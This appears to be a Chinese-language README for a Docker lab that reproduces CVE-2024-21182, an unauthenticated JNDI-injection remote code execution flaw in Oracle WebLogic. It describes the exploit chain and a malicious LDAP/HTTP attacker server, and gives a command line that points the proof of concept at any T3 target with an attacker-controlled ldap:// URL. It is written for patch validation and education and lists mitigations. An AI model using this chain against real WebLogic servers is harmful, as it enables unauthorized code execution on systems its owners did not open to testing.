一个自包含、单命令的Docker实验环境,用于复现并验证 Oracle WebLogic Server OpaqueReference JNDI注入漏洞家族(CVE-2024-21182,CVE-2023-21839的补丁绕过)并实现未经身份验证的远程代码执行。
⚠️ 仅限授权的安全研究、教育和补丁验证使用。 参见免责声明。仅针对此实验环境或您拥有的系统运行。
CVE-2024-21182 是 Oracle WebLogic Server Core 组件中的一个未经身份验证的漏洞,可通过 T3 / IIOP 协议(默认端口 7001)利用。它允许攻击者将精心构造的“引用”对象绑定到服务器的 JNDI 树中,并触发对攻击者控制的 URL 进行服务器端 JNDI 查找 —— 经典的 JNDI 注入,进而升级为远程代码执行。
| CVE | CVE-2024-21182 |
| 产品 | Oracle WebLogic Server (Core) |
| 受影响版本(Oracle 官方) | 12.2.1.4.0, 14.1.1.0.0 |
| 修复版本 | Oracle 2024年10月 关键补丁更新 |
| 攻击向量 | 网络,未经身份验证,T3/IIOP (端口 7001) |
| CISA KEV | 是(已知在野利用) |
| 分类 | CVE-2023-21839 的补丁绕过(OpaqueReference JNDI 注入) |
WebLogic 引用对象在 lookup() 期间由 ObjectFactory 服务器端解析,该工厂对攻击者提供的 URL 执行嵌套 JNDI 查找:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)
→ new InitialContext().lookup( ldap://attacker/… ) ← 攻击者控制,服务器端
CVE-2023-21839 通过 weblogic.jndi.internal.ForeignOpaqueReference 触发了此路径,Oracle 随后对其进行了防护。CVE-2024-21182 绕过了该防护,通过 weblogic.ejb.container.internal.AggregatableOpaqueReference 到达相同的外部查找,其私有 referent 字段被反射设置为 weblogic.application.naming.MessageDestinationReference。
本实验环境使用 vulhub/weblogic:12.2.1.3-2018(WebLogic 12.2.1.3,捆绑 JDK 1.8.0_151),因为这是唯一可免费分发的存在漏洞的 WebLogic 镜像——CVE-2024-21182 正式列出的版本(12.2.1.4.0 / 14.1.1.0.0)需要 Oracle 许可证,无法在此发布。
以下为如实说明的后果:
OpaqueReference JNDI注入→远程代码执行的漏洞类别,并使用精确的 CVE-2024-21182 利用类(AggregatableOpaqueReference + MessageDestinationReference)进行演练。com.sun.jndi.ldap.object.trustURLCodebase=true(允许远程代码基类加载)。在较新的 JDK 上,注入仍然触发(SSRF),但 RCE 需要 WebLogic 类路径上已有的 gadget,而非远程代码基。要求:Docker + Docker Compose v2。约 3GB 镜像拉取。在 Apple Silicon 上,镜像以 linux/amd64 仿真运行(冷启动较慢,需 2–5 分钟)。
git clone <此仓库>
cd CVE-2024-21182-lab
docker compose up -d # 启动:weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh # 等待启动,触发漏洞,输出 PASS/FAIL
./validate.sh 预期的尾部输出:
[+] RCE 确认 — 命令已在 WebLogic 容器内执行,结果为:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] 已复现 CVE-2024-21182(未经身份验证的 T3 JNDI 注入 -> 远程代码执行)
清理:
docker compose down
t3://weblogic:7001 ldap://attacker:1389/Evil
PoC 客户端 ───────────────────────► WebLogic ──────────────────────────────► attacker (LDAP)
(在 weblogic bind() + lookup() (受害者) 服务器端 JNDI 查找 返回 Reference
容器内) {javaCodeBase=http://attacker:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (HTTP codebase)
加载并实例化 → static{} 运行 `id`
poc/CVE_2024_21182.java — T3 客户端。构造恶意的 AggregatableOpaqueReference,执行 bind(),然后通过 lookup() 触发服务器端解析。参数化:<t3-host:port> <ldap-url>。它在 validate.sh 中在 WebLogic 容器内编译,因为 gadget 类位于 WebLogic 完整模块集中(而非可重新分发的瘦客户端),因此这里不提供 Oracle jar。exploit/ldap_server.py — 极简的恶意 LDAP 服务器,返回一个 JNDI Reference 以及一个托管工厂类的 HTTP 服务器。在 attacker 容器中运行,WebLogic 可通过服务名 attacker 访问。exploit/Exploit.java / Exploit.class — 有效载荷工厂(Java 8 字节码)。其静态初始化器运行 id / 并将输出写入受害容器内的 。设计上无害——可编辑它并运行 来更改命令。你将会看到的 ClassCastException (Exploit cannot be cast to ObjectFactory) 是预期且无关紧要的——它发生在静态初始化器(有效载荷)已经执行之后。
将 PoC 指向任何你有权测试的 T3 端点:
# 从拥有 WebLogic 瘦客户端的主机内,或修改 validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
trustURLCodebase=false;你仍然拥有 SSRF,并且通过类路径 gadget 仍可能实现 RCE。weblogic.security.net.ConnectionFilterImpl)和主机防火墙限制 T3/IIOP(7001)。com.sun.jndi.ldap.object.trustURLCodebase=false(当前 JDK 的默认设置);会阻断远程代码基的 RCE 部分(但不会阻断注入部分)。bind 操作中对 *OpaqueReference 类型的绑定。k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference 系列)本项目发布用于授权安全测试、防御验证和教育。存在漏洞的软件运行于隔离的 Docker 实验环境中。不要针对你不拥有或未被明确授权测试的系统使用这些技术。作者不对滥用行为承担任何责任。参见 LICENSE。
uname -a/tmp/RCE_PROOF_CVE_2024_21182exploit/build.sh